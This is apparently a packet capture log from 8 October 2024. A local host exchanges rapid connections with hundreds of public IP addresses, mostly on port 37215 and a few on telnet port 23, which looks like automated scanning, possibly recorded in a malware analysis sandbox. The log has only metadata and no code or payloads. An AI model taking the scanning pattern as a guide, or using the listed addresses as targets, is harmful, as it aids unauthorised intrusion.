Oct 8, 2024 20:34:44.994864941 CEST	37215	48169	41.113.171.178	192.168.2.14
Oct 8, 2024 20:34:44.994873047 CEST	48169	37215	192.168.2.14	156.246.167.115
Oct 8, 2024 20:34:44.994873047 CEST	48169	37215	192.168.2.14	156.232.59.181
Oct 8, 2024 20:34:44.994874954 CEST	48169	37215	192.168.2.14	197.49.221.177
Oct 8, 2024 20:34:44.994874954 CEST	37215	48169	156.114.127.246	192.168.2.14
Oct 8, 2024 20:34:44.994884968 CEST	48169	37215	192.168.2.14	197.236.126.175
Oct 8, 2024 20:34:44.994884968 CEST	37215	48169	156.175.163.8	192.168.2.14
Oct 8, 2024 20:34:44.994894981 CEST	37215	48169	41.248.71.231	192.168.2.14
Oct 8, 2024 20:34:44.994904041 CEST	37215	48169	156.54.204.69	192.168.2.14
Oct 8, 2024 20:34:44.994906902 CEST	48169	37215	192.168.2.14	156.114.127.246
Oct 8, 2024 20:34:44.994911909 CEST	48169	37215	192.168.2.14	41.113.171.178
Oct 8, 2024 20:34:44.994915009 CEST	37215	48169	156.154.185.86	192.168.2.14
Oct 8, 2024 20:34:44.994923115 CEST	48169	37215	192.168.2.14	197.164.205.165
Oct 8, 2024 20:34:44.994923115 CEST	48169	37215	192.168.2.14	156.175.163.8
Oct 8, 2024 20:34:44.994924068 CEST	37215	48169	41.221.142.125	192.168.2.14
Oct 8, 2024 20:34:44.994930983 CEST	48169	37215	192.168.2.14	41.246.194.222
Oct 8, 2024 20:34:44.994935036 CEST	37215	48169	41.159.160.168	192.168.2.14
Oct 8, 2024 20:34:44.994936943 CEST	48169	37215	192.168.2.14	41.248.71.231
Oct 8, 2024 20:34:44.994945049 CEST	37215	48169	41.43.246.203	192.168.2.14
Oct 8, 2024 20:34:44.994955063 CEST	37215	48169	156.204.192.142	192.168.2.14
Oct 8, 2024 20:34:44.994957924 CEST	48169	37215	192.168.2.14	41.159.160.168
Oct 8, 2024 20:34:44.994961977 CEST	48169	37215	192.168.2.14	41.221.142.125
Oct 8, 2024 20:34:44.994966030 CEST	37215	48169	156.78.104.183	192.168.2.14
Oct 8, 2024 20:34:44.994977951 CEST	48169	37215	192.168.2.14	41.43.246.203
Oct 8, 2024 20:34:44.994998932 CEST	48169	37215	192.168.2.14	156.204.192.142
Oct 8, 2024 20:34:44.994998932 CEST	48169	37215	192.168.2.14	156.78.104.183
Oct 8, 2024 20:34:44.995044947 CEST	48169	37215	192.168.2.14	156.54.204.69
Oct 8, 2024 20:34:44.995044947 CEST	48169	37215	192.168.2.14	156.154.185.86
Oct 8, 2024 20:34:44.995093107 CEST	37215	48169	197.142.144.99	192.168.2.14
Oct 8, 2024 20:34:44.995104074 CEST	37215	48169	197.158.112.134	192.168.2.14
Oct 8, 2024 20:34:44.995114088 CEST	37215	48169	156.31.115.154	192.168.2.14
Oct 8, 2024 20:34:44.995124102 CEST	37215	48169	41.4.117.34	192.168.2.14
Oct 8, 2024 20:34:44.995134115 CEST	37215	48169	197.254.205.237	192.168.2.14
Oct 8, 2024 20:34:44.995146990 CEST	37215	48169	197.166.180.143	192.168.2.14
Oct 8, 2024 20:34:44.995157003 CEST	37215	48169	156.32.65.128	192.168.2.14
Oct 8, 2024 20:34:44.995162010 CEST	48169	37215	192.168.2.14	197.158.112.134
Oct 8, 2024 20:34:44.995163918 CEST	48169	37215	192.168.2.14	41.4.117.34
Oct 8, 2024 20:34:44.995167017 CEST	37215	48169	41.120.207.157	192.168.2.14
Oct 8, 2024 20:34:44.995167971 CEST	48169	37215	192.168.2.14	197.142.144.99
Oct 8, 2024 20:34:44.995172024 CEST	48169	37215	192.168.2.14	156.31.115.154
Oct 8, 2024 20:34:44.995176077 CEST	48169	37215	192.168.2.14	197.166.180.143
Oct 8, 2024 20:34:44.995177031 CEST	37215	48169	41.119.250.105	192.168.2.14
Oct 8, 2024 20:34:44.995187998 CEST	37215	48169	156.85.35.197	192.168.2.14
Oct 8, 2024 20:34:44.995189905 CEST	48169	37215	192.168.2.14	156.32.65.128
Oct 8, 2024 20:34:44.995193005 CEST	48169	37215	192.168.2.14	41.120.207.157
Oct 8, 2024 20:34:44.995199919 CEST	37215	48169	197.75.113.3	192.168.2.14
Oct 8, 2024 20:34:44.995210886 CEST	48169	37215	192.168.2.14	41.119.250.105
Oct 8, 2024 20:34:44.995210886 CEST	37215	48169	41.101.10.233	192.168.2.14
Oct 8, 2024 20:34:44.995222092 CEST	37215	48169	197.150.181.16	192.168.2.14
Oct 8, 2024 20:34:44.995227098 CEST	48169	37215	192.168.2.14	197.75.113.3
Oct 8, 2024 20:34:44.995232105 CEST	37215	48169	156.175.244.94	192.168.2.14
Oct 8, 2024 20:34:44.995244026 CEST	37215	48169	156.103.135.84	192.168.2.14
Oct 8, 2024 20:34:44.995254040 CEST	37215	48169	197.185.126.210	192.168.2.14
Oct 8, 2024 20:34:44.995254993 CEST	48169	37215	192.168.2.14	41.101.10.233
Oct 8, 2024 20:34:44.995256901 CEST	48169	37215	192.168.2.14	197.150.181.16
Oct 8, 2024 20:34:44.995265007 CEST	37215	48169	41.126.160.198	192.168.2.14
Oct 8, 2024 20:34:44.995269060 CEST	48169	37215	192.168.2.14	156.103.135.84
Oct 8, 2024 20:34:44.995270967 CEST	48169	37215	192.168.2.14	156.85.35.197
Oct 8, 2024 20:34:44.995270967 CEST	48169	37215	192.168.2.14	156.175.244.94
Oct 8, 2024 20:34:44.995274067 CEST	37215	48169	197.4.93.117	192.168.2.14
Oct 8, 2024 20:34:44.995280981 CEST	48169	37215	192.168.2.14	197.185.126.210
Oct 8, 2024 20:34:44.995285988 CEST	37215	48169	41.222.78.210	192.168.2.14
Oct 8, 2024 20:34:44.995290995 CEST	48169	37215	192.168.2.14	41.126.160.198
Oct 8, 2024 20:34:44.995296001 CEST	37215	48169	156.76.230.26	192.168.2.14
Oct 8, 2024 20:34:44.995305061 CEST	37215	48169	41.60.24.184	192.168.2.14
Oct 8, 2024 20:34:44.995311975 CEST	48169	37215	192.168.2.14	197.4.93.117
Oct 8, 2024 20:34:44.995315075 CEST	37215	48169	156.120.66.183	192.168.2.14
Oct 8, 2024 20:34:44.995326042 CEST	48169	37215	192.168.2.14	41.222.78.210
Oct 8, 2024 20:34:44.995326042 CEST	48169	37215	192.168.2.14	156.76.230.26
Oct 8, 2024 20:34:44.995327950 CEST	37215	48169	41.103.36.53	192.168.2.14
Oct 8, 2024 20:34:44.995340109 CEST	37215	48169	197.72.109.27	192.168.2.14
Oct 8, 2024 20:34:44.995349884 CEST	37215	48169	41.134.252.116	192.168.2.14
Oct 8, 2024 20:34:44.995353937 CEST	48169	37215	192.168.2.14	197.254.205.237
Oct 8, 2024 20:34:44.995353937 CEST	48169	37215	192.168.2.14	156.120.66.183
Oct 8, 2024 20:34:44.995359898 CEST	37215	48169	156.76.143.207	192.168.2.14
Oct 8, 2024 20:34:44.995368004 CEST	48169	37215	192.168.2.14	41.103.36.53
Oct 8, 2024 20:34:44.995369911 CEST	37215	48169	197.94.109.242	192.168.2.14
Oct 8, 2024 20:34:44.995374918 CEST	48169	37215	192.168.2.14	197.72.109.27
Oct 8, 2024 20:34:44.995379925 CEST	37215	48169	41.128.247.163	192.168.2.14
Oct 8, 2024 20:34:44.995383024 CEST	48169	37215	192.168.2.14	41.60.24.184
Oct 8, 2024 20:34:44.995383024 CEST	48169	37215	192.168.2.14	41.134.252.116
Oct 8, 2024 20:34:44.995394945 CEST	48169	37215	192.168.2.14	156.76.143.207
Oct 8, 2024 20:34:44.995398045 CEST	37215	48169	156.170.201.189	192.168.2.14
Oct 8, 2024 20:34:44.995403051 CEST	48169	37215	192.168.2.14	197.94.109.242
Oct 8, 2024 20:34:44.995409966 CEST	37215	48169	156.219.120.59	192.168.2.14
Oct 8, 2024 20:34:44.995414019 CEST	48169	37215	192.168.2.14	41.128.247.163
Oct 8, 2024 20:34:44.995420933 CEST	37215	48169	41.251.163.147	192.168.2.14
Oct 8, 2024 20:34:44.995425940 CEST	48169	37215	192.168.2.14	156.170.201.189
Oct 8, 2024 20:34:44.995430946 CEST	37215	48169	41.151.123.51	192.168.2.14
Oct 8, 2024 20:34:44.995434999 CEST	48169	37215	192.168.2.14	156.219.120.59
Oct 8, 2024 20:34:44.995452881 CEST	48169	37215	192.168.2.14	41.251.163.147
Oct 8, 2024 20:34:44.995498896 CEST	48169	37215	192.168.2.14	41.151.123.51
Oct 8, 2024 20:34:44.995502949 CEST	37215	48169	156.113.16.145	192.168.2.14
Oct 8, 2024 20:34:44.995512962 CEST	37215	48169	156.6.130.160	192.168.2.14
Oct 8, 2024 20:34:44.995522022 CEST	37215	48169	41.5.202.46	192.168.2.14
Oct 8, 2024 20:34:44.995546103 CEST	48169	37215	192.168.2.14	156.6.130.160
Oct 8, 2024 20:34:44.995563984 CEST	37215	48169	41.110.146.162	192.168.2.14
Oct 8, 2024 20:34:44.995573997 CEST	37215	48169	41.253.81.8	192.168.2.14
Oct 8, 2024 20:34:44.995584011 CEST	37215	48169	197.171.200.155	192.168.2.14
Oct 8, 2024 20:34:44.995593071 CEST	37215	48169	41.33.226.205	192.168.2.14
Oct 8, 2024 20:34:44.995604038 CEST	37215	48169	41.205.109.234	192.168.2.14
Oct 8, 2024 20:34:44.995613098 CEST	48169	37215	192.168.2.14	41.5.202.46
Oct 8, 2024 20:34:44.995614052 CEST	37215	48169	197.178.244.204	192.168.2.14
Oct 8, 2024 20:34:44.995625019 CEST	37215	48169	156.222.127.136	192.168.2.14
Oct 8, 2024 20:34:44.995635033 CEST	37215	48169	197.199.96.10	192.168.2.14
Oct 8, 2024 20:34:44.995640039 CEST	48169	37215	192.168.2.14	41.205.109.234
Oct 8, 2024 20:34:44.995646000 CEST	37215	48169	156.171.48.186	192.168.2.14
Oct 8, 2024 20:34:44.995652914 CEST	48169	37215	192.168.2.14	41.253.81.8
Oct 8, 2024 20:34:44.995652914 CEST	48169	37215	192.168.2.14	156.222.127.136
Oct 8, 2024 20:34:44.995656013 CEST	37215	48169	41.69.195.162	192.168.2.14
Oct 8, 2024 20:34:44.995657921 CEST	48169	37215	192.168.2.14	197.178.244.204
Oct 8, 2024 20:34:44.995670080 CEST	37215	48169	41.222.55.98	192.168.2.14
Oct 8, 2024 20:34:44.995672941 CEST	48169	37215	192.168.2.14	156.171.48.186
Oct 8, 2024 20:34:44.995672941 CEST	48169	37215	192.168.2.14	41.33.226.205
Oct 8, 2024 20:34:44.995675087 CEST	37215	48169	41.128.106.194	192.168.2.14
Oct 8, 2024 20:34:44.995675087 CEST	48169	37215	192.168.2.14	156.113.16.145
Oct 8, 2024 20:34:44.995675087 CEST	48169	37215	192.168.2.14	41.110.146.162
Oct 8, 2024 20:34:44.995675087 CEST	48169	37215	192.168.2.14	197.171.200.155
Oct 8, 2024 20:34:44.995675087 CEST	48169	37215	192.168.2.14	197.199.96.10
Oct 8, 2024 20:34:44.995680094 CEST	37215	48169	41.117.155.197	192.168.2.14
Oct 8, 2024 20:34:44.995692015 CEST	37215	48169	197.81.243.111	192.168.2.14
Oct 8, 2024 20:34:44.995702028 CEST	37215	48169	156.254.238.149	192.168.2.14
Oct 8, 2024 20:34:44.995706081 CEST	48169	37215	192.168.2.14	41.117.155.197
Oct 8, 2024 20:34:44.995712042 CEST	37215	48169	41.246.241.194	192.168.2.14
Oct 8, 2024 20:34:44.995723009 CEST	37215	48169	156.140.130.220	192.168.2.14
Oct 8, 2024 20:34:44.995732069 CEST	37215	48169	197.66.89.151	192.168.2.14
Oct 8, 2024 20:34:44.995734930 CEST	48169	37215	192.168.2.14	156.254.238.149
Oct 8, 2024 20:34:44.995743036 CEST	37215	48169	41.85.62.225	192.168.2.14
Oct 8, 2024 20:34:44.995752096 CEST	48169	37215	192.168.2.14	41.246.241.194
Oct 8, 2024 20:34:44.995754004 CEST	48169	37215	192.168.2.14	156.140.130.220
Oct 8, 2024 20:34:44.995754004 CEST	37215	48169	156.102.46.114	192.168.2.14
Oct 8, 2024 20:34:44.995765924 CEST	37215	48169	197.241.177.9	192.168.2.14
Oct 8, 2024 20:34:44.995769978 CEST	48169	37215	192.168.2.14	41.69.195.162
Oct 8, 2024 20:34:44.995769978 CEST	48169	37215	192.168.2.14	41.128.106.194
Oct 8, 2024 20:34:44.995769978 CEST	48169	37215	192.168.2.14	41.222.55.98
Oct 8, 2024 20:34:44.995769978 CEST	48169	37215	192.168.2.14	197.81.243.111
Oct 8, 2024 20:34:44.995775938 CEST	37215	48169	197.134.209.250	192.168.2.14
Oct 8, 2024 20:34:44.995783091 CEST	48169	37215	192.168.2.14	41.85.62.225
Oct 8, 2024 20:34:44.995783091 CEST	48169	37215	192.168.2.14	156.102.46.114
Oct 8, 2024 20:34:44.995789051 CEST	37215	48169	197.39.197.89	192.168.2.14
Oct 8, 2024 20:34:44.995799065 CEST	48169	37215	192.168.2.14	197.66.89.151
Oct 8, 2024 20:34:44.995799065 CEST	48169	37215	192.168.2.14	197.241.177.9
Oct 8, 2024 20:34:44.995800018 CEST	37215	48169	41.133.68.189	192.168.2.14
Oct 8, 2024 20:34:44.995803118 CEST	48169	37215	192.168.2.14	197.134.209.250
Oct 8, 2024 20:34:44.995826006 CEST	48169	37215	192.168.2.14	197.39.197.89
Oct 8, 2024 20:34:44.995970964 CEST	37215	48169	156.64.182.211	192.168.2.14
Oct 8, 2024 20:34:44.995981932 CEST	37215	48169	41.45.179.67	192.168.2.14
Oct 8, 2024 20:34:44.995990992 CEST	37215	48169	156.215.58.87	192.168.2.14
Oct 8, 2024 20:34:44.996002913 CEST	48169	37215	192.168.2.14	156.64.182.211
Oct 8, 2024 20:34:44.996011019 CEST	37215	48169	41.216.68.117	192.168.2.14
Oct 8, 2024 20:34:44.996020079 CEST	48169	37215	192.168.2.14	41.45.179.67
Oct 8, 2024 20:34:44.996021032 CEST	37215	48169	156.211.97.197	192.168.2.14
Oct 8, 2024 20:34:44.996030092 CEST	37215	48169	197.119.84.33	192.168.2.14
Oct 8, 2024 20:34:44.996031046 CEST	48169	37215	192.168.2.14	156.215.58.87
Oct 8, 2024 20:34:44.996040106 CEST	37215	48169	41.188.217.47	192.168.2.14
Oct 8, 2024 20:34:44.996041059 CEST	48169	37215	192.168.2.14	41.133.68.189
Oct 8, 2024 20:34:44.996041059 CEST	48169	37215	192.168.2.14	41.216.68.117
Oct 8, 2024 20:34:44.996049881 CEST	37215	48169	41.83.149.171	192.168.2.14
Oct 8, 2024 20:34:44.996057034 CEST	48169	37215	192.168.2.14	156.211.97.197
Oct 8, 2024 20:34:44.996061087 CEST	37215	48169	41.23.107.232	192.168.2.14
Oct 8, 2024 20:34:44.996071100 CEST	48169	37215	192.168.2.14	197.119.84.33
Oct 8, 2024 20:34:44.996072054 CEST	37215	48169	156.168.32.211	192.168.2.14
Oct 8, 2024 20:34:44.996073961 CEST	48169	37215	192.168.2.14	41.188.217.47
Oct 8, 2024 20:34:44.996082067 CEST	37215	48169	197.132.195.225	192.168.2.14
Oct 8, 2024 20:34:44.996088028 CEST	48169	37215	192.168.2.14	41.83.149.171
Oct 8, 2024 20:34:44.996092081 CEST	48169	37215	192.168.2.14	41.23.107.232
Oct 8, 2024 20:34:44.996093035 CEST	37215	48169	156.139.141.95	192.168.2.14
Oct 8, 2024 20:34:44.996103048 CEST	48169	37215	192.168.2.14	156.168.32.211
Oct 8, 2024 20:34:44.996119976 CEST	48169	37215	192.168.2.14	197.132.195.225
Oct 8, 2024 20:34:44.996164083 CEST	37215	48169	156.58.253.102	192.168.2.14
Oct 8, 2024 20:34:44.996172905 CEST	48169	37215	192.168.2.14	156.139.141.95
Oct 8, 2024 20:34:44.996176004 CEST	37215	48169	41.204.188.231	192.168.2.14
Oct 8, 2024 20:34:44.996186018 CEST	37215	48169	156.111.195.77	192.168.2.14
Oct 8, 2024 20:34:44.996191025 CEST	37215	48169	41.244.191.147	192.168.2.14
Oct 8, 2024 20:34:44.996201992 CEST	37215	48169	41.173.148.97	192.168.2.14
Oct 8, 2024 20:34:44.996211052 CEST	37215	48169	156.78.58.184	192.168.2.14
Oct 8, 2024 20:34:44.996221066 CEST	37215	48169	156.77.180.133	192.168.2.14
Oct 8, 2024 20:34:44.996227980 CEST	48169	37215	192.168.2.14	156.58.253.102
Oct 8, 2024 20:34:44.996227980 CEST	48169	37215	192.168.2.14	41.204.188.231
Oct 8, 2024 20:34:44.996231079 CEST	37215	48169	156.105.5.215	192.168.2.14
Oct 8, 2024 20:34:44.996241093 CEST	37215	48169	41.130.213.49	192.168.2.14
Oct 8, 2024 20:34:44.996242046 CEST	48169	37215	192.168.2.14	41.244.191.147
Oct 8, 2024 20:34:44.996243000 CEST	48169	37215	192.168.2.14	156.111.195.77
Oct 8, 2024 20:34:44.996243954 CEST	48169	37215	192.168.2.14	156.78.58.184
Oct 8, 2024 20:34:44.996243954 CEST	48169	37215	192.168.2.14	41.173.148.97
Oct 8, 2024 20:34:44.996251106 CEST	48169	37215	192.168.2.14	156.77.180.133
Oct 8, 2024 20:34:44.996251106 CEST	37215	48169	156.106.16.85	192.168.2.14
Oct 8, 2024 20:34:44.996259928 CEST	48169	37215	192.168.2.14	156.105.5.215
Oct 8, 2024 20:34:44.996264935 CEST	37215	48169	156.92.119.15	192.168.2.14
Oct 8, 2024 20:34:44.996273041 CEST	48169	37215	192.168.2.14	41.130.213.49
Oct 8, 2024 20:34:44.996274948 CEST	37215	48169	156.50.137.255	192.168.2.14
Oct 8, 2024 20:34:44.996284962 CEST	37215	48169	156.168.250.129	192.168.2.14
Oct 8, 2024 20:34:44.996294975 CEST	37215	48169	156.37.27.102	192.168.2.14
Oct 8, 2024 20:34:44.996304989 CEST	37215	48169	156.124.12.165	192.168.2.14
Oct 8, 2024 20:34:44.996313095 CEST	48169	37215	192.168.2.14	156.92.119.15
Oct 8, 2024 20:34:44.996315002 CEST	37215	48169	156.148.78.218	192.168.2.14
Oct 8, 2024 20:34:44.996313095 CEST	48169	37215	192.168.2.14	156.50.137.255
Oct 8, 2024 20:34:44.996316910 CEST	48169	37215	192.168.2.14	156.168.250.129
Oct 8, 2024 20:34:44.996323109 CEST	48169	37215	192.168.2.14	156.37.27.102
Oct 8, 2024 20:34:44.996334076 CEST	48169	37215	192.168.2.14	156.124.12.165
Oct 8, 2024 20:34:44.996340036 CEST	48169	37215	192.168.2.14	156.148.78.218
Oct 8, 2024 20:34:44.996346951 CEST	48169	37215	192.168.2.14	156.106.16.85
Oct 8, 2024 20:34:44.996439934 CEST	46710	37215	192.168.2.14	156.136.228.139
Oct 8, 2024 20:34:44.996510983 CEST	37215	48169	156.42.186.55	192.168.2.14
Oct 8, 2024 20:34:44.996521950 CEST	37215	48169	197.5.118.13	192.168.2.14
Oct 8, 2024 20:34:44.996532917 CEST	37215	48169	41.157.238.53	192.168.2.14
Oct 8, 2024 20:34:44.996562004 CEST	48169	37215	192.168.2.14	197.5.118.13
Oct 8, 2024 20:34:44.996587038 CEST	48169	37215	192.168.2.14	156.42.186.55
Oct 8, 2024 20:34:44.996586084 CEST	48169	37215	192.168.2.14	41.157.238.53
Oct 8, 2024 20:34:44.996592999 CEST	37215	48169	41.166.161.165	192.168.2.14
Oct 8, 2024 20:34:44.996603012 CEST	37215	48169	41.243.8.43	192.168.2.14
Oct 8, 2024 20:34:44.996614933 CEST	37215	48169	197.140.225.115	192.168.2.14
Oct 8, 2024 20:34:44.996624947 CEST	37215	48169	41.77.200.198	192.168.2.14
Oct 8, 2024 20:34:44.996634007 CEST	37215	48169	41.31.148.128	192.168.2.14
Oct 8, 2024 20:34:44.996637106 CEST	48169	37215	192.168.2.14	41.243.8.43
Oct 8, 2024 20:34:44.996645927 CEST	37215	48169	156.205.74.89	192.168.2.14
Oct 8, 2024 20:34:44.996650934 CEST	37215	48169	41.76.38.164	192.168.2.14
Oct 8, 2024 20:34:44.996649981 CEST	48169	37215	192.168.2.14	41.166.161.165
Oct 8, 2024 20:34:44.996654034 CEST	37215	48169	41.38.138.130	192.168.2.14
Oct 8, 2024 20:34:44.996658087 CEST	48169	37215	192.168.2.14	197.140.225.115
Oct 8, 2024 20:34:44.996658087 CEST	48169	37215	192.168.2.14	41.31.148.128
Oct 8, 2024 20:34:44.996669054 CEST	37215	48169	197.229.145.249	192.168.2.14
Oct 8, 2024 20:34:44.996676922 CEST	48169	37215	192.168.2.14	41.77.200.198
Oct 8, 2024 20:34:44.996680021 CEST	23	43702	167.152.163.124	192.168.2.14
Oct 8, 2024 20:34:44.996685028 CEST	48169	37215	192.168.2.14	156.205.74.89
Oct 8, 2024 20:34:44.996685028 CEST	48169	37215	192.168.2.14	41.76.38.164
Oct 8, 2024 20:34:44.996690989 CEST	37215	48169	197.76.234.250	192.168.2.14
Oct 8, 2024 20:34:44.996701002 CEST	37215	48169	156.33.252.121	192.168.2.14
Oct 8, 2024 20:34:44.996705055 CEST	48169	37215	192.168.2.14	41.38.138.130
Oct 8, 2024 20:34:44.996711016 CEST	37215	48169	156.23.14.75	192.168.2.14
Oct 8, 2024 20:34:44.996721029 CEST	37215	48169	156.172.170.128	192.168.2.14
Oct 8, 2024 20:34:44.996730089 CEST	48169	37215	192.168.2.14	197.229.145.249
Oct 8, 2024 20:34:44.996731997 CEST	37215	48169	197.30.171.255	192.168.2.14
Oct 8, 2024 20:34:44.996731997 CEST	43702	23	192.168.2.14	167.152.163.124
Oct 8, 2024 20:34:44.996731997 CEST	48169	37215	192.168.2.14	197.76.234.250
Oct 8, 2024 20:34:44.996743917 CEST	37215	48169	197.233.120.235	192.168.2.14
Oct 8, 2024 20:34:44.996746063 CEST	48169	37215	192.168.2.14	156.23.14.75
Oct 8, 2024 20:34:44.996748924 CEST	48169	37215	192.168.2.14	156.33.252.121
Oct 8, 2024 20:34:44.996754885 CEST	37215	48169	156.63.144.25	192.168.2.14
Oct 8, 2024 20:34:44.996757030 CEST	48169	37215	192.168.2.14	156.172.170.128
Oct 8, 2024 20:34:44.996766090 CEST	37215	48169	156.125.220.18	192.168.2.14
Oct 8, 2024 20:34:44.996771097 CEST	48169	37215	192.168.2.14	197.30.171.255
Oct 8, 2024 20:34:44.996774912 CEST	48169	37215	192.168.2.14	197.233.120.235
Oct 8, 2024 20:34:44.996777058 CEST	37215	48169	41.103.191.47	192.168.2.14
Oct 8, 2024 20:34:44.996787071 CEST	37215	48169	41.128.31.119	192.168.2.14
Oct 8, 2024 20:34:44.996798038 CEST	37215	48169	197.43.20.86	192.168.2.14
Oct 8, 2024 20:34:44.996802092 CEST	48169	37215	192.168.2.14	156.125.220.18
Oct 8, 2024 20:34:44.996803045 CEST	48169	37215	192.168.2.14	41.103.191.47
Oct 8, 2024 20:34:44.996810913 CEST	37215	48169	197.126.220.196	192.168.2.14
Oct 8, 2024 20:34:44.996820927 CEST	37215	48169	41.28.180.42	192.168.2.14
Oct 8, 2024 20:34:44.996829987 CEST	48169	37215	192.168.2.14	197.43.20.86
Oct 8, 2024 20:34:44.996829987 CEST	48169	37215	192.168.2.14	156.63.144.25
Oct 8, 2024 20:34:44.996830940 CEST	37215	48169	156.143.75.200	192.168.2.14
Oct 8, 2024 20:34:44.996829987 CEST	48169	37215	192.168.2.14	41.128.31.119
Oct 8, 2024 20:34:44.996840954 CEST	37215	48169	156.142.192.58	192.168.2.14
Oct 8, 2024 20:34:44.996854067 CEST	48169	37215	192.168.2.14	197.126.220.196
Oct 8, 2024 20:34:44.996861935 CEST	48169	37215	192.168.2.14	156.143.75.200
Oct 8, 2024 20:34:44.996885061 CEST	48169	37215	192.168.2.14	156.142.192.58
Oct 8, 2024 20:34:44.996889114 CEST	48169	37215	192.168.2.14	41.28.180.42
Oct 8, 2024 20:34:44.996917963 CEST	37215	48169	197.245.162.88	192.168.2.14
Oct 8, 2024 20:34:44.996927977 CEST	37215	48169	197.95.106.184	192.168.2.14
Oct 8, 2024 20:34:44.996937037 CEST	37215	48169	197.103.68.146	192.168.2.14
Oct 8, 2024 20:34:44.996949911 CEST	48169	37215	192.168.2.14	197.245.162.88
Oct 8, 2024 20:34:44.996962070 CEST	48169	37215	192.168.2.14	197.95.106.184
Oct 8, 2024 20:34:44.996975899 CEST	48169	37215	192.168.2.14	197.103.68.146
Oct 8, 2024 20:34:44.997018099 CEST	37215	48169	41.241.176.252	192.168.2.14
Oct 8, 2024 20:34:44.997028112 CEST	37215	48169	156.126.17.131	192.168.2.14
Oct 8, 2024 20:34:44.997037888 CEST	37215	48169	197.95.26.208	192.168.2.14
Oct 8, 2024 20:34:44.997046947 CEST	55540	23	192.168.2.14	166.47.64.4
Oct 8, 2024 20:34:44.997049093 CEST	37215	48169	156.241.132.14	192.168.2.14
Oct 8, 2024 20:34:44.997055054 CEST	48169	37215	192.168.2.14	156.126.17.131
Oct 8, 2024 20:34:44.997060061 CEST	37215	48169	197.37.133.126	192.168.2.14
Oct 8, 2024 20:34:44.997065067 CEST	37215	48169	41.197.255.5	192.168.2.14
Oct 8, 2024 20:34:44.997071981 CEST	48169	37215	192.168.2.14	41.241.176.252
Oct 8, 2024 20:34:44.997076035 CEST	37215	48169	41.72.67.207	192.168.2.14
Oct 8, 2024 20:34:44.997078896 CEST	48169	37215	192.168.2.14	197.95.26.208
Oct 8, 2024 20:34:44.997087002 CEST	37215	48169	41.35.177.61	192.168.2.14
Oct 8, 2024 20:34:44.997097015 CEST	48169	37215	192.168.2.14	156.241.132.14
Oct 8, 2024 20:34:44.997097969 CEST	37215	48169	156.126.127.21	192.168.2.14
Oct 8, 2024 20:34:44.997102976 CEST	48169	37215	192.168.2.14	197.37.133.126
Oct 8, 2024 20:34:44.997108936 CEST	37215	48169	156.9.182.22	192.168.2.14
Oct 8, 2024 20:34:44.997112036 CEST	48169	37215	192.168.2.14	41.72.67.207
Oct 8, 2024 20:34:44.997117996 CEST	48169	37215	192.168.2.14	41.197.255.5
Oct 8, 2024 20:34:44.997117996 CEST	48169	37215	192.168.2.14	41.35.177.61
Oct 8, 2024 20:34:44.997118950 CEST	37215	48169	197.164.57.115	192.168.2.14
Oct 8, 2024 20:34:44.997129917 CEST	37215	48169	41.239.214.46	192.168.2.14
Oct 8, 2024 20:34:44.997134924 CEST	48169	37215	192.168.2.14	156.126.127.21
Oct 8, 2024 20:34:44.997136116 CEST	48169	37215	192.168.2.14	156.9.182.22
Oct 8, 2024 20:34:44.997140884 CEST	37215	48169	156.252.11.78	192.168.2.14
Oct 8, 2024 20:34:44.997140884 CEST	48169	37215	192.168.2.14	197.164.57.115
Oct 8, 2024 20:34:44.997149944 CEST	37215	48169	41.121.246.9	192.168.2.14
Oct 8, 2024 20:34:44.997159958 CEST	37215	48169	156.68.55.231	192.168.2.14
Oct 8, 2024 20:34:44.997175932 CEST	37215	48169	197.98.5.195	192.168.2.14
Oct 8, 2024 20:34:44.997179031 CEST	48169	37215	192.168.2.14	156.252.11.78
Oct 8, 2024 20:34:44.997185946 CEST	37215	48169	197.240.175.247	192.168.2.14
Oct 8, 2024 20:34:44.997189999 CEST	48169	37215	192.168.2.14	41.239.214.46
Oct 8, 2024 20:34:44.997189999 CEST	48169	37215	192.168.2.14	41.121.246.9
Oct 8, 2024 20:34:44.997195959 CEST	37215	48169	41.98.56.147	192.168.2.14
Oct 8, 2024 20:34:44.997198105 CEST	48169	37215	192.168.2.14	156.68.55.231
Oct 8, 2024 20:34:44.997198105 CEST	48169	37215	192.168.2.14	197.98.5.195
Oct 8, 2024 20:34:44.997205973 CEST	37215	48169	41.109.102.225	192.168.2.14
Oct 8, 2024 20:34:44.997212887 CEST	48169	37215	192.168.2.14	41.98.56.147
Oct 8, 2024 20:34:44.997215986 CEST	48169	37215	192.168.2.14	197.240.175.247
Oct 8, 2024 20:34:44.997216940 CEST	37215	48169	197.135.174.245	192.168.2.14
Oct 8, 2024 20:34:44.997226954 CEST	37215	48169	197.182.12.20	192.168.2.14
Oct 8, 2024 20:34:44.997237921 CEST	37215	48169	197.239.148.49	192.168.2.14
Oct 8, 2024 20:34:44.997240067 CEST	48169	37215	192.168.2.14	41.109.102.225
Oct 8, 2024 20:34:44.997247934 CEST	37215	48169	41.162.12.33	192.168.2.14
Oct 8, 2024 20:34:44.997256994 CEST	37215	48169	156.145.44.42	192.168.2.14
Oct 8, 2024 20:34:44.997267008 CEST	37215	48169	156.243.153.210	192.168.2.14
Oct 8, 2024 20:34:44.997267962 CEST	48169	37215	192.168.2.14	197.182.12.20
Oct 8, 2024 20:34:44.997272015 CEST	48169	37215	192.168.2.14	197.239.148.49
Oct 8, 2024 20:34:44.997284889 CEST	48169	37215	192.168.2.14	156.145.44.42
Oct 8, 2024 20:34:44.997286081 CEST	48169	37215	192.168.2.14	197.135.174.245
Oct 8, 2024 20:34:44.997286081 CEST	48169	37215	192.168.2.14	41.162.12.33
Oct 8, 2024 20:34:44.997320890 CEST	48169	37215	192.168.2.14	156.243.153.210
Oct 8, 2024 20:34:44.997337103 CEST	37215	48169	197.111.155.193	192.168.2.14
Oct 8, 2024 20:34:44.997347116 CEST	37215	48169	197.35.145.63	192.168.2.14
Oct 8, 2024 20:34:44.997354984 CEST	37215	48169	41.126.50.229	192.168.2.14
Oct 8, 2024 20:34:44.997364998 CEST	37215	48169	156.98.240.127	192.168.2.14
Oct 8, 2024 20:34:44.997368097 CEST	48169	37215	192.168.2.14	197.111.155.193
Oct 8, 2024 20:34:44.997375011 CEST	37215	48169	197.187.203.95	192.168.2.14
Oct 8, 2024 20:34:44.997379065 CEST	48169	37215	192.168.2.14	197.35.145.63
Oct 8, 2024 20:34:44.997384071 CEST	37215	48169	197.150.211.123	192.168.2.14
Oct 8, 2024 20:34:44.997385979 CEST	48169	37215	192.168.2.14	41.126.50.229
Oct 8, 2024 20:34:44.997394085 CEST	37215	48169	41.59.148.141	192.168.2.14
